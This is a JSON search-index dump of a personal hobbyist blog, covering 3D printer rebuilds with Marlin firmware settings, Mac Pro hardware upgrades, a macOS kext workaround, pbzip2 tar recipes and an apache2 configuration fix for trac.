Rollers"},{"body":"","link":"https://dawning.ca/tags/kossel/","section":"tags","tags":null,"title":"Kossel"},{"body":"","link":"https://dawning.ca/tags/mini/","section":"tags","tags":null,"title":"Mini"},{"body":"","link":"https://dawning.ca/tags/prime-line/","section":"tags","tags":null,"title":"Prime Line"},{"body":"","link":"https://dawning.ca/tags/printing/","section":"tags","tags":null,"title":"Printing"},{"body":"","link":"https://dawning.ca/tags/reprap/","section":"tags","tags":null,"title":"Reprap"},{"body":"Delta Flyer Episode I is out, it\u0026rsquo;s on the Delta Flyer Project site on Hackaday.io. I\u0026rsquo;m mirroring the episode here since my blog might out-live hackaday.io.\nLast weekend I managed to get the Delta Flyer running. Most of the parts I\u0026rsquo;ve sourced came from very inexpensive (relatively) suppliers in China and I didn\u0026rsquo;t pay extra for shipping, meaning shipping has taken a very long time.\nI\u0026rsquo;ve also been a bit worried that calibrating a Delta would be really brutal and have been kind of dreading the potential pitfalls.\nFor a first run, I decided to use very cheap rollers (Prime Line shower door rollers as discussed in my previous entry). Once I got the moving parts assembled, I decided NOT to install the hotend and just get er calibrated well enough to operate a Bic Pen. I took some careful measurements, entered them in to my Smoothieware config file and surprisingly things have worked out quite well. Check it out.\nAnd here\u0026rsquo;s a video rendition. I\u0026rsquo;ll add that I print throught Octoprint (using OctoPi), it\u0026rsquo;s wonderful and�Cupcake155�(my first printer) has used it for a long time. I, of course, go through Wifi too.\nI\u0026rsquo;ve posted various photos up to this point in my�Album for Delta Flyer\u0026rsquo;s initial life on Flickr here.\nI think it was a great idea to calibrate the motion through a pen before going 3D. Had I skipped that, I probably wouldn\u0026rsquo;t have suffered a lot, but in the event of a measurement error, I think it probably saved me a lot of grief.\n","link":"https://dawning.ca/posts/deltaflyer-episode-1/","section":"posts","tags":null,"title":"DeltaFlyer Episode I: First Flight"},{"body":"","link":"https://dawning.ca/tags/augmentations/","section":"tags","tags":null,"title":"Augmentations"},{"body":"","link":"https://dawning.ca/tags/cooling-fan/","section":"tags","tags":null,"title":"Cooling Fan"},{"body":"","link":"https://dawning.ca/tags/cupcake155/","section":"tags","tags":null,"title":"Cupcake155"},{"body":"Cupcake155 Episode 5 is where I list some supporting alterations I\u0026rsquo;ve made that supporting its operation. These are all nice to have things.\nCheck out Episode 5 here.\n","link":"https://dawning.ca/posts/cupcake155-episode-5/","section":"posts","tags":["cupcake155","3d printing","augmentations","filament filter","z dewobble","cooling fan"],"title":"Cupcake155 Episode 5"},{"body":"","link":"https://dawning.ca/tags/filament-filter/","section":"tags","tags":null,"title":"Filament Filter"},{"body":"","link":"https://dawning.ca/tags/z-dewobble/","section":"tags","tags":null,"title":"Z Dewobble"},{"body":"Cupcake155 has a few augmentations that I find to be very helpful, they are:\nZ-Wobble Inhibitors (designed by me) Cooling fan with mount adapter Filament Debris Filter\nZ-Wobble Inhibitors Folks have long-since designed Z-dewobbers for the Cupcake \u0026amp; Thing-o-matic, but when I went to use them, I had a brutal time finding the CAD files. So I just made my own. Here they are on Thingiverse.\nCooling Fan \u0026amp; adapter The fan I\u0026rsquo;m using is adapted from a Utilibot. I added a really superficial adapter that I use to fasten it to my Z stage. The STLs are available in the Cupcake155 repository on Github. Filament Debris Filter It\u0026rsquo;s a simple extra, but I\u0026rsquo;ve found it to be ESSENTIAL. Before having a filament filter, I occasionally ran in to some fairly time-consuming head jams. Since using it, I\u0026rsquo;ve not had one serious jam; every one I have had, I got out of very quickly.\nSo, print one, here\u0026rsquo;s what I used. I\u0026rsquo;ve also included a copy in the Cupcake155 github repo.\n","link":"https://dawning.ca/printing/cupcake155/episode-5-cupcake155-augmentations/","section":"pages","tags":null,"title":"Episode 5: Cupcake155 Augmentations"},{"body":"The DeltaFlyer printer is my implementation of an oversized Kossel Mini type delta printer.\nSpecs1000mm towers with 360mm sides Current effective build volume is 180mm (dia) x 500mm (height) Delrin rollers Smoothieboard controlled OctoPi interfaced - modified to also provide a private wifi network for use during travel Modified with various thermal fuses for extra safety Genuine E3D hotend hardware Lit via Illuminatrix (another project of mine) Encased in wooden frame; \u0026ldquo;The Tardis\u0026rdquo;. Adds structure for supporting components and enable the Delta Flyer to go on road trips\nLive Stream I don\u0026rsquo;t always print, but when I do, I stream here.\nExample Printing\nLinksMany highly relevant details of the machine are accessible below. DeltaFlyer on Hackaday.io DeltaFlyer files on GitHub\nHistorical\nHere\u0026rsquo;s an old image from the very early days of the initial build ","link":"https://dawning.ca/printing/deltaflyer/","section":"pages","tags":null,"title":"DeltaFlyer"},{"body":"I\u0026rsquo;m in to 3D printing, here.. [subpages]\n[pagelist]\n","link":"https://dawning.ca/pages/printing/","section":"pages","tags":null,"title":"3D Printing"},{"body":"","link":"https://dawning.ca/tags/el-capitain/","section":"tags","tags":null,"title":"El Capitain"},{"body":"","link":"https://dawning.ca/tags/genericusbxhci/","section":"tags","tags":null,"title":"Genericusbxhci"},{"body":"","link":"https://dawning.ca/tags/mbp/","section":"tags","tags":null,"title":"Mbp"},{"body":"","link":"https://dawning.ca/tags/usb/","section":"tags","tags":null,"title":"Usb"},{"body":" I had added USB 3.0 functionality (via a GMYLE BC628) to my Late 2011 17\u0026quot; MBP as per my earlier post. Mac OS X 10.11 El Capitan introduced a new layer of security that prevented my previous configuration from working.\nFortunately, others have figured out a road back.\nHere are the steps: Backup everything and assume you\u0026rsquo;re about to trash your system. I am not responsible for what happens here. Boot in to your recovery partition, or on to a USB installer Execute:sudo csrutil disable kext. This disables kext signing. Boot back to your native system. (Note USB-booted environments probably don\u0026rsquo;t need the sudo component.) Download GenericUSBXHCI.kext to your Desktop Run KextBeast, install to /Library/Extensions Reboot Profit!\nReferences: General process Generic USB Kext\n","link":"https://dawning.ca/posts/usb-3-0-on-17-macbook-pro-under-el-capitan/","section":"posts","tags":["usb","genericusbxhci","mbp","el capitain"],"title":"USB 3.0 on 17\" MacBook Pro under El Capitan"},{"body":"","link":"https://dawning.ca/pages/blog/","section":"pages","tags":null,"title":"Blog"},{"body":"Here\u0026rsquo;s ancient stuff from dawning.ca that I didn\u0026rsquo;t want to delete, but I stopped updating/maintaining a long time ago.\n[subpages]\n","link":"https://dawning.ca/site-history/","section":"pages","tags":null,"title":"Site History"},{"body":"[smartslider2 slider=\u0026ldquo;1\u0026rdquo;]\n","link":"https://dawning.ca/pages/dawning-ca/","section":"pages","tags":null,"title":"Index"},{"body":"","link":"https://dawning.ca/tags/arduino/","section":"tags","tags":null,"title":"Arduino"},{"body":"Cupcake155 has been endowed with a sweet lighting system. I built it in an open way, so others can re-trace my steps without having to start from zero. It\u0026rsquo;s actually a pretty sweet system, I call it Illuminatrix.\nCheck out Cupcake155 episode 4 here.\n","link":"https://dawning.ca/posts/cupcake155-episode-4/","section":"posts","tags":["arduino","RGB LED","plugin","cupcake155","illuminatrix","docdawning","lighting","octoprint"],"title":"Cupcake155 Episode 4"},{"body":"","link":"https://dawning.ca/tags/docdawning/","section":"tags","tags":null,"title":"Docdawning"},{"body":"","link":"https://dawning.ca/categories/makerbot/","section":"categories","tags":null,"title":"MakerBot"},{"body":"","link":"https://dawning.ca/tags/plugin/","section":"tags","tags":null,"title":"Plugin"},{"body":"With Cupcake155 running fairly smoothly, I opted to typically drive it via Octoprint. I use a Raspberry Pi Model A+ with Wifi. This works great. After a few months printing like this, I found I\u0026rsquo;m constantly annoyed by visibility; I can\u0026rsquo;t see WTF\u0026rsquo;s going on in my print-area.\nIlluminatrix Illuminatrix is my lighting system for 3D printing. It could be used for other applications. Illuminatrix is the combination of a dedicated Arduino to drive RGB LEDs, some optional power hardware if you want many LEDs and there\u0026rsquo;s an Octoprint Plugin component that grants print-status awareness to the lighting.\nIlluminatrix\u0026rsquo;s source code \u0026amp; documentation are concentrated on github, here. Illuminatrix is also discussed on its project page on Hackaday.io, here. Demo Video I\u0026rsquo;ve posted a demo video of Illuminatrix as of mid Jan 2016 below.\nProject Photo Gallery ","link":"https://dawning.ca/hardware/cupcake155/episode-4-cupcake155-gains-illuminatrix/","section":"pages","tags":null,"title":"Episode 4: Cupcake155 gains Illuminatrix"},{"body":"","link":"https://dawning.ca/tags/drivers/","section":"tags","tags":null,"title":"Drivers"},{"body":"","link":"https://dawning.ca/tags/geforce/","section":"tags","tags":null,"title":"Geforce"},{"body":"","link":"https://dawning.ca/tags/mac-pro/","section":"tags","tags":null,"title":"Mac Pro"},{"body":"It was time to upgrade my secondary video card on my trusty MacPro3,1. I first goofed considerably with a Radeon 5250. I even went so far as to bust out my old firmware editing tools to change the vendor id in a feeble attempt to get OS X to use it without needing to modify kexts. Then I heard that more recent nvidia cards are supported by NVIDIA\u0026rsquo;s \u0026ldquo;web\u0026rdquo; OS X drivers. I swapped the 5250 (with its firmware restored) for a GeForce GT 720.\nI opted for the ASUS 2GB implementation of the GT 720. I'm a big fan of fanless heatsyncs.\nI initially booted with the nvidia card installed and none of my displays functioned. Then I removed the card, booted again and installed NVIDIA\u0026rsquo;s web drivers. Then everything worked great.\nThe GT 720 is installed in the top PCIe slot, immediately below the Intel SSD.\nHere\u0026rsquo;s the card installed in my machine. Note that by putting it in the top slot, I had to move my two 3.5\u0026quot; drives to the forward bays and my SSDs to the rear, else the heat sync would have been a big problem.\niStat Menus can even indicate to me not only memory consumption but GPU load on the GT 720. I\u0026rsquo;m pretty happy with this. Now my Mac Pro is very nearly totally silent. And my tiny office is much notably cooler. That freakin 2600XT was wearing on me far more than I knew, it was making everything sucky. This surprises me as it was only used for terminals and documentation. Nevertheless, it was clearly holding everything back. I had even enabled picture-in-picture zooming because the normal zoom was brutal since I upgraded to 10.10. Now I\u0026rsquo;m compelled to upgrade other aspects of this Mac Pro. I think the measly 10GB of RAM needs some attention!\n","link":"https://dawning.ca/posts/macpro31-geforce-gt-720-osx/","section":"posts","tags":["mac pro","upgrade","nvidia pc video card","pc gpu","drivers","radeon","geforce","macpro31"],"title":"MacPro3,1 gains a GeForce GT 720"},{"body":"","link":"https://dawning.ca/tags/nvidia-pc-video-card/","section":"tags","tags":null,"title":"Nvidia Pc Video Card"},{"body":"","link":"https://dawning.ca/tags/pc-gpu/","section":"tags","tags":null,"title":"Pc Gpu"},{"body":"","link":"https://dawning.ca/tags/radeon/","section":"tags","tags":null,"title":"Radeon"},{"body":"","link":"https://dawning.ca/tags/upgrade/","section":"tags","tags":null,"title":"Upgrade"},{"body":" Episode #3 of my Cupcake155 project has been posted.\nThe key jist being that I found on complex prints, I would typically get a few major slips in the print. There often were also places where the print delayed in a location for a time, this left scars too.\nUltimately, a $10 SD board and a quick firmware change later and my prints were vastly improved.\nRead more here.\n","link":"https://dawning.ca/posts/cupcake-155-episode-3/","section":"posts","tags":["upgrade","reprap","MakerBot","cupcake","update","rambo","thingomatic","refit","slipping","tripping","print","quality","3d"],"title":"Cupcake 155 Episode 3"},{"body":"","link":"https://dawning.ca/categories/hard-hacking/","section":"categories","tags":null,"title":"Hard Hacking"},{"body":"","link":"https://dawning.ca/tags/print/","section":"tags","tags":null,"title":"Print"},{"body":"","link":"https://dawning.ca/tags/quality/","section":"tags","tags":null,"title":"Quality"},{"body":"","link":"https://dawning.ca/tags/rambo/","section":"tags","tags":null,"title":"Rambo"},{"body":"","link":"https://dawning.ca/tags/refit/","section":"tags","tags":null,"title":"Refit"},{"body":"","link":"https://dawning.ca/tags/slipping/","section":"tags","tags":null,"title":"Slipping"},{"body":"","link":"https://dawning.ca/tags/thingomatic/","section":"tags","tags":null,"title":"Thingomatic"},{"body":"","link":"https://dawning.ca/tags/tripping/","section":"tags","tags":null,"title":"Tripping"},{"body":"","link":"https://dawning.ca/tags/update/","section":"tags","tags":null,"title":"Update"},{"body":"With the printer running at all following episode 2, all that remains is endless optimization.\nThe largest problem I ran in to after months of printing was my printer kept slipping, particularly during really complicated prints. Thus introducing offsets in to my prints!\nCommon causes of slips \\t- Print bed isn\u0026rsquo;t square with the machine, print head trips on print\n\\t- Warping in print causes head to trip on print\n\\t- Steppers are too hot, missed steps can result\n\\t- Mechanical resistance overwhelms motion\n\\t- Trying to print faster than the machine can move\n\\t- Trying to print faster than the machine can buffer instructions\n\\t- Star Trek\u0026rsquo;s Q is toying with you\nUltimately the change the made the biggest improvement with skipping, by far, has been installing an SD reader. I found a pin-compatible. In the above image, you can see gobs out the side of that print too, that was probably also an effect of print moves not making it in to the motherboard fast enough.\nThe SDRamps card is pin-compatible with the RAMBo. The connectors are different sizes and you could connect it incorrectly, but I took my time and made sure I had it lined up correctly. I ordered mine from ebay, it was about $10.\nAfter recompiling my Marlin firmware with SD support added, my prints got a lot more consistent and stable! ","link":"https://dawning.ca/hardware/makerbot/2015-episode-3-cupcake155-coarse-optimization/","section":"pages","tags":null,"title":"Episode 3: Cupcake155 Quit the Trip"},{"body":"(updated: I\u0026rsquo;ve switched from ustream to YouTube Live, this post has been retroactively updated as there\u0026rsquo;s no point with linking to old junk)\nI\u0026rsquo;ve been working on Episode 3 for a couple weeks now, but until I slay a certain dragon, the episode shall remain enroute.\nIn the mean time, I\u0026rsquo;ve updated my main printing page with a copy of my live stream feed, so when I\u0026rsquo;m printing you can watch the video stream from that easy-to-find location.\nI stream here\n","link":"https://dawning.ca/posts/cupcake155-stream/","section":"posts","tags":null,"title":"Cupcake155 Stream"},{"body":" After roughly a month of effort, I\u0026rsquo;ve now got my old Cupcake heavily retro-fitted and running pretty well.\nCupcake155 Episode 2 gives the key details of how I modified my old MakerBot Cupcake in to something modern and unique. Others may find it helpful to re-trace my steps and perhaps get printing sooner!\n","link":"https://dawning.ca/posts/cupcake155-episode-2/","section":"posts","tags":["reprap","MakerBot","cupcake155","rambo","cura","pronterface","geeetech mk8"],"title":"Cupcake155 Episode 2"},{"body":"","link":"https://dawning.ca/tags/cura/","section":"tags","tags":null,"title":"Cura"},{"body":"","link":"https://dawning.ca/tags/geeetech-mk8/","section":"tags","tags":null,"title":"Geeetech Mk8"},{"body":"","link":"https://dawning.ca/tags/pronterface/","section":"tags","tags":null,"title":"Pronterface"},{"body":"The first phase of my 3D printing project was to get my machine\u0026rsquo;s motion resurrected.\nThe second phase, this phase, was to get it printing again; check.\nCupcake155 printing in 2015 Here\u0026rsquo;s proof that it\u0026rsquo;s working:\nRAMBo Board I picked up a RAMBo v1.1 board from RepRapElectro, after receiving a lot of very helpful general support from them over IRC.\nI had to drill some new holes in Cupcake155 to mount it, that went just fine:\nAs I wired up, I rigged connectors to keep things generic. I made adapter cables so I have an easy road to my previous equipment.\nIt took me a while to work-out a suitable motor wiring. I didn\u0026rsquo;t realize that different stepper drivers produce different steps/rotation (though that seems obvious now).�Anyway, I found many wiring combinations that work. Here\u0026rsquo;s what I went with in the long-run:\nWire Colour of Original MakerBot NEMA Motor (as used with RepRap Gen3 Electronics) MakerBot Motor Pin RAMBo board Wire colour RAMBo Stepper Pin\nOrange X Red Y\nBlack X Green Y\nRed X Yellow Y\nYellow X Blue Y\nHere\u0026rsquo;s a close up of my final cable wiring, including .156 type connector\nExtruder I conquered the mechanical installation of the Geeetech MK8�in Episode 1.\nNow for hook-up. I tried various wiring combinations, and found that the MK8 stepper could just be one-to-one connected to the RAMBo board.\nAs the image to the right illustrates, here\u0026rsquo;s the motor wiring for Geeetech MK8 to RAMBo:\nRAMBo Pin Geeetech MK8 Extruder Pin\nRed Black\nGreen Green\nYellow Red\nBlue Blue\nBeyond the stepper was the thermister and the heater wire, these are near impossible to screw up, so.. Moving on..\nFirmware: Marlin As Marlin served me well in Episode 1, with my RepRap Gen3 motherboard, I figured it was only right to keep using it. Especially when considering that the RAMBo came with Marlin 1.0.0 preloaded, and I\u0026rsquo;ve made a tiny source code contribution to Marlin now too. :)\nConfiguring Marlin for my machine took me considerable effort, loads of careful empirical measurements with my calliper and an iterative approach (I often follow a TCP-inspired algorithm when searching for something optimal).\nHere\u0026rsquo;s some key highlights:\n\u0026hellip;\n#define TEMP_SENSOR_0 5 \u0026hellip;\n#define HEATER_0_MAXTEMP 260 \u0026hellip;\n//Cupcake155 #define DEFAULT_Kp 13.24 #define DEFAULT_Ki 0.46 #define DEFAULT_Kd 95.97 \u0026hellip;\n#define X_MAX_POS 105 #define X_MIN_POS -15 #define Y_MAX_POS 90 #define Y_MIN_POS 0 #define Z_MAX_POS 120 #define Z_MIN_POS 0 \u0026hellip;\n//Cupcake155 (Rambo) #define DEFAULT_AXIS_STEPS_PER_UNIT {93.727842795, 93.727842795, 2548.8, 101.0869} // default steps per unit for Cupcake155 (on RAMBo) #define DEFAULT_MAX_FEEDRATE {5000, 5000, 150, 5000/60} // (mm/sec) #define DEFAULT_MAX_ACCELERATION {900,900,10,10000} // X, Y, Z, E maximum start speed for accelerated moves. E default values are good for skeinforge 40+, for older versions raise them a lot. \u0026hellip;\nI\u0026rsquo;ve posted my Marlin configuration on github, here.\nResults I\u0026rsquo;ll be tuning this machine for a while still I\u0026rsquo;m sure, but it would seem my first 5 days with it in operation have been fruitful.\nI started to produce much improved prints once I discovered the gcode, M206 Z-1.0, to manually adjust my Z=0 position (as my Z-end stop fires too early). Also I was screwed a few times by snapping PLA lines during prints, which required a little re-thinking of my spool supporting method.\nI\u0026rsquo;ll add that I ran in to trouble that I\u0026rsquo;m attributing largely to chasing perfection with my Z=0 location while having a non-level print-bed. My print bed is fairly level on its own, but that means there\u0026rsquo;s about a 0.2mm variance and well, that\u0026rsquo;s enough for me to feel, severely (as in-failed prints that could have hurt the printer)\nAbove is part of a model of the SpaceX Dragon Capsule. Epic. Just epic.\nAppendix As text-objects, I\u0026rsquo;ve been printing lots of Z-stage C-clamps for my machine. I have far too many as it is, and will find other Cupcake parts to print when I have further testing/calibration to do.\nInterestingly, I\u0026rsquo;ve only ever used my pliers to hold on to the nuts of these little M3 screws as I\u0026rsquo;ve worked on this machine. It dawned on me; hey I have a 3D printer now!..\nHence:\nSuffice to say, that little guy works great! :)\nOh\u0026hellip; And here\u0026rsquo;s a link to my Photo Album for this episode.\nThe adventure continues in Episode 3.\n","link":"https://dawning.ca/hardware/makerbot/2015-episode-2-cupcake155-prints-with-mk8-rambo/","section":"pages","tags":null,"title":"Episode 2: Cupcake155 prints with MK8 \u0026 RAMBo"},{"body":" I\u0026rsquo;ve missed playing with 3D printing since I mothballed my printer years ago. It was shelved over major pains in getting the extruder to work properly. I also wasn\u0026rsquo;t especially fond of working with ABS plastic, which feels pretty toxic to me.\nA few weeks back I decided that my old printer, while in bad shape, was still most of a 3D-printer. I had been looking at ready-made products I could potentially buy, but I wanted the satisfaction of doing most of it for myself. I knew right-off-the-bat that I\u0026rsquo;d be replacing the extruder as it seems clear to me vast progress has been made about that point.\nIt\u0026rsquo;s taken me weeks, but I\u0026rsquo;ve got the machine operating, at least in all regards except for an extruder. I\u0026rsquo;ve documented the key steps I took to get this machine in to a usable state again on my Episode 1 project page here.\nHere\u0026rsquo;s a video demonstrating how far I\u0026rsquo;ve managed to get this vanilla configuration around the Gen3 RepRap motherboard working:\nIf you want details, check out that project page link above, there\u0026rsquo;s a fair there and referenced from there.\n","link":"https://dawning.ca/posts/cupcake155-episode-1-released/","section":"posts","tags":["reprap","MakerBot","cupcake","cupcake155","resurrection","episode 1","gen3"],"title":"Cupcake155 Episode 1"},{"body":"","link":"https://dawning.ca/tags/episode-1/","section":"tags","tags":null,"title":"Episode 1"},{"body":"","link":"https://dawning.ca/tags/gen3/","section":"tags","tags":null,"title":"Gen3"},{"body":"","link":"https://dawning.ca/tags/resurrection/","section":"tags","tags":null,"title":"Resurrection"},{"body":"After victory and defeats in the early days of 3D printing, I shelved my MakerBot Cupcake until recently. The desire to print has re-emerged in me with a brutal vengeance and print I shall!\nWhile waiting for new electronics to upgrade Cupcake155 with, I opted to get it as far as I could with the stock Gen3 electronics. I\u0026rsquo;m well-aware of the 3G 5D hack to get the Gen3 board to drive a 4th stepper, for an extruder, but I figured I\u0026rsquo;d rather not spend time and money on upgrading the Gen3 when there are new boards on the scene.\nA n00bs-eye-view Being away from 3D printing for 6+ years restored my n00b status and at first I was quite confused by the whole work flow of these machines. Here\u0026rsquo;s what I came to understand after reading a bunch of pages, exploring software and talking to people on IRC: Firmware As it turns out it seems most of these printers are running on derivatives of the gen3 (or at least something in-common), the Arduino platform. Though there\u0026rsquo;s a lot of duplication of efforts and lots of variance as people make their own modifications to suit their equipment and goals.\nThere are various Arduino \u0026lsquo;firmwares\u0026rsquo; (I think of them more just as Arduino applications, since they seem to require the Arduino bootloader, which in my brain is the firmware). The one I ended up goofing with is Marlin. Here\u0026rsquo;s a general list of firmwares for printing.\nI did try to get the old school firmware from my Gen3 going, but had serious pains with ReplicatorG. I compiled various versions from source, goofed with its XML backend and so on, but I couldn\u0026rsquo;t get it load on to my board. In fact, I had a lengthy side project of building an AVR ISP out of a standard Arduino because over the years, my Gen3 board lost its bootloader, somehow. Once I reloaded it, it was fine.\nHardware Supporting Software In order to load in the Sanguino bootloader, I needed an AVR ISP. I think most people won\u0026rsquo;t generally need to do this, but if they can\u0026rsquo;t get their firmware to load, then they may have the same problem I did with their bootloader being stale/failed. I compiled \u0026amp; used the latest release of the Arduino software, though pre-compiled versions should work well. I initially compiled the head version of Arduino and ended up having some problems that I think were caused by things they\u0026rsquo;re working on, so remember to look for releases to use and be aware if you just compile the head version of a project.\nFor machine firmware, I opted to try Marlin. I read that their 1.0.1 release is reasonably stable and so I loaded that in to my Arduino application and edited the Configuration.h file to work with my machine. I\u0026rsquo;ve uploaded my configuration file here.\nKey configuration parameters for the Cupcake were available to me in the xml configuration files found in ReplicatorG, which I also tried to get working, but I had very limited success with that.\nFor the Cupcake, MakerBot has specified the following:\naxis id=\u0026ldquo;x\u0026rdquo; length=\u0026ldquo;100\u0026rdquo; maxfeedrate=\u0026ldquo;5000\u0026rdquo; stepspermm=\u0026ldquo;11.767463\u0026rdquo; endstops=\u0026ldquo;min\u0026rdquo; axis id=\u0026ldquo;y\u0026rdquo; length=\u0026ldquo;100\u0026rdquo; maxfeedrate=\u0026ldquo;5000\u0026rdquo; stepspermm=\u0026ldquo;11.767463\u0026rdquo; endstops=\u0026ldquo;min\u0026rdquo; axis id=\u0026ldquo;z\u0026rdquo; length=\u0026ldquo;100\u0026rdquo; maxfeedrate=\u0026ldquo;150\u0026rdquo; stepspermm=\u0026ldquo;320\u0026rdquo; endstops=\u0026ldquo;min\u0026rdquo;\nThese are some of the parameters I used in my configuration file linked above.\nEndstops When I assembled my Cupcake the instructions had stated that endstops were optional. I kind of wish I didn\u0026rsquo;t read that part as I think I had some amplified problems due to it. So I took an extra couple days to carefully wire up and test all my endstops. Thankfully most of them worked without any effort. A couple needed some reflow work and one seems to be a write-off. No matter, it seems that the typical configuration these days is to run only with min endstops. I opted to leave out my Z-max, for now.\nI used hot glue to secure the cables to the printer body and some zip-straps where I could. I like MakerBot\u0026rsquo;s choice to use RJ-45 connectors and am kind of disappointed to see it seems that practice didn\u0026rsquo;t survive. Extruder My original extruder won my hate many years ago so this entire project was actually kicked off by me ordering a modern extruder from ebay. Without any real research or thought I picked an MK8 extruder. It took me some time to figure out how to mount it on cupcake155\u0026rsquo;s Z platform, but a little patience and scrap aluminum got me most of the way there. I opted to mount the extruder by removing some screws from it and adding my own external plates. This ate up some of the screw length and on the Stepper-motor side meant my screw was no longer able to reach the threads inside. It took me trips to 6 stores to find a remotely compatible replacement screw. My MK8 extruder uses M3 screws and I figured I needed about 40mm long ones. I could have ordered some, but instead opted for 50mm ones and just used some old stand-offs to deal with the excess length.\nSince I\u0026rsquo;d ordered new boards to replace the Gen3 guts, I didn\u0026rsquo;t do anything more with the extruder than mount it. Episode 2 will begin to use it.\nHost Software There are various nice looking host software application you can use to at least send your gcode to your printer. Most of them have some support to slice an STL (3D object file) in to gcode for you as well (even if only by launching Skeinforge to slice for you).\nFollowing the advice of someone on IRC, I used Cura as my slicer to generate my gcode. Then I loaded the gcode in to Pronterface and used that to drive my printer.\nWorking Axes After a lot of goofing-around, I finally got all X, Y and Z stages working, with end-stops. Here\u0026rsquo;s proof:\nMore Information As I went, I kept a kind of diary of this project on the RepRap Community Forums, here.\nI also photo-documented and uploaded to Flickr, here.\n","link":"https://dawning.ca/hardware/makerbot/2015-episode-1/","section":"pages","tags":null,"title":"Episode 1: Cupcake155 Resurrection Lift-off"},{"body":"","link":"https://dawning.ca/tags/archive/","section":"tags","tags":null,"title":"Archive"},{"body":"","link":"https://dawning.ca/tags/compress/","section":"tags","tags":null,"title":"Compress"},{"body":"","link":"https://dawning.ca/tags/multi-threaded/","section":"tags","tags":null,"title":"Multi-Threaded"},{"body":"I often find myself banging my head against a wall watching tar compress with a single execution thread. PBZIP2 is the solution to that problem.\nHere\u0026rsquo;s my few recipes for using this:\nCompress: tar cf archive.tar.bz2 \u0026ndash;use-compress-prog=pbzip2 archive/\nUncompress:�pbzip2 -dvc archive.tar.bz2 | tar x\nEnjoy!\n","link":"https://dawning.ca/posts/pbzip2/","section":"posts","tags":["pbzip2","tar","compress","archive","multi-threaded","threaded","smp","processor","unix"],"title":"Multi-threaded tar/bzip2"},{"body":"","link":"https://dawning.ca/tags/pbzip2/","section":"tags","tags":null,"title":"Pbzip2"},{"body":"","link":"https://dawning.ca/tags/processor/","section":"tags","tags":null,"title":"Processor"},{"body":"","link":"https://dawning.ca/tags/smp/","section":"tags","tags":null,"title":"Smp"},{"body":"","link":"https://dawning.ca/tags/tar/","section":"tags","tags":null,"title":"Tar"},{"body":"","link":"https://dawning.ca/tags/threaded/","section":"tags","tags":null,"title":"Threaded"},{"body":"","link":"https://dawning.ca/categories/ubuntu-linux/","section":"categories","tags":null,"title":"Ubuntu Linux"},{"body":"","link":"https://dawning.ca/tags/2008-mac-pro/","section":"tags","tags":null,"title":"2008 Mac Pro"},{"body":"In my quest to keep my 2008 era Mac Pro (MacPro3,1) reasonably well suited to my needs, I recently decided to attempt to add USB 3.0 support.\nI recently bought myself one of these babies, Inateck KT4004. I like that it has 4 ports and no external power required.\nThe Amazon page claimed this card is for the Mac Pro. I wasn\u0026rsquo;t sure if there would be weird driver issues and bought it with a little hesitation. I�installed it in about 2mins and upon booting I could immediately see it available:\nI love that the AppleUSBXHCI kext applies. Because of this, this card can be used without modifications to OSX. I\u0026rsquo;m no stranger to running third-party kexts, but thanks to the improved security of Yosemite, there\u0026rsquo;s an added risk I\u0026rsquo;d rather avoid.\nBenchmarks USB 2.0 hdd dock: 23.3MB/s writes\nUSB 3.0 hdd dock: 53.5MB/s writes\nConclusion Awesome, this is a great little upgrade. If I end up retiring my Mac Pro anytime soon (unlikely), I\u0026rsquo;ll make use of this for a osx86 build, it\u0026rsquo;s nice to use hardware that requires no specials kexts after all. Oh, and working USB 3.0 is pretty damn nice too, especially when the price tag is only about $40.\n","link":"https://dawning.ca/posts/mac-pro-installing-usb-3-0-support/","section":"posts","tags":["mac pro","osx86","usb3.0","2008 mac pro","pcie","macpro31"],"title":"MacPro3,1 gets USB 3.0 support"},{"body":"","link":"https://dawning.ca/tags/osx86/","section":"tags","tags":null,"title":"Osx86"},{"body":"","link":"https://dawning.ca/tags/pcie/","section":"tags","tags":null,"title":"Pcie"},{"body":"","link":"https://dawning.ca/tags/usb3.0/","section":"tags","tags":null,"title":"Usb3.0"},{"body":"","link":"https://dawning.ca/tags/14.04/","section":"tags","tags":null,"title":"14.04"},{"body":"","link":"https://dawning.ca/tags/ap/","section":"tags","tags":null,"title":"Ap"},{"body":"","link":"https://dawning.ca/tags/arm/","section":"tags","tags":null,"title":"ARM"},{"body":"","link":"https://dawning.ca/tags/compulab/","section":"tags","tags":null,"title":"Compulab"},{"body":"","link":"https://dawning.ca/tags/hostap/","section":"tags","tags":null,"title":"Hostap"},{"body":"","link":"https://dawning.ca/tags/pro/","section":"tags","tags":null,"title":"Pro"},{"body":"To the chase\u0026hellip; It took me a long time to find this, but someone\u0026rsquo;s made a guide for building Ubuntu 14.04 from scratch for the Utilite. But better still, they\u0026rsquo;ve included a dropbox location to fetch images from.\nHere\u0026rsquo;s the URL to the build guide.\nHere\u0026rsquo;s the URL to the download directory.\nFor installation, I\u0026rsquo;m�ripping-off the Arch installation instructions here.\nThe key step of the installation process I kept pulling up that guide to confirm I\u0026rsquo;m recalling correctly is: bsdtar -xpf ArchLinuxARM-utilite-latest.tar.gz -C root\n","link":"https://dawning.ca/posts/ubuntu-14-04-on-utilite-pro/","section":"posts","tags":["pro","ubuntu","linux","ARM","14.04","utilite","wifi","hostap","ap","compulab"],"title":"Ubuntu 14.04 on Utilite Pro"},{"body":"","link":"https://dawning.ca/tags/utilite/","section":"tags","tags":null,"title":"Utilite"},{"body":"","link":"https://dawning.ca/tags/wifi/","section":"tags","tags":null,"title":"Wifi"},{"body":"","link":"https://dawning.ca/tags/12.04/","section":"tags","tags":null,"title":"12.04"},{"body":"","link":"https://dawning.ca/tags/500/","section":"tags","tags":null,"title":"500"},{"body":"","link":"https://dawning.ca/tags/configuration/","section":"tags","tags":null,"title":"Configuration"},{"body":"I\u0026rsquo;m a fairly heavy user of trac. I\u0026rsquo;ve got various software projects I organize using trac. I decided to upgrade one of my Ubuntu 12.04 servers to Ubuntu 14.04 and of course ran in to the typical apache2 headaches that are born out of this particular transition.\nAfter remembering to rename my virtual host files with .conf extensions (I find that change annoying as hell on its own), I kept running aground with an Internal Server Error message to which I couldn\u0026rsquo;t even find a hint in my logs, even after cranking up the verbosity.\nSIGH\nI eventually realized my main issue was something in the python goo that apache departs off in to in order to make trac run. I had previously setup trac using the python apache module like in the instructions here.\nOf course, it ended up coming down to permission junk needing to be changed. Suffice to say, after many lines of python noise in my apache config, I had the classic:\nOrder allow,deny Allow from all Yeeaaaaaahhhh\u0026hellip;\n#Order allow,deny #Allow from all Require all granted\nThere we 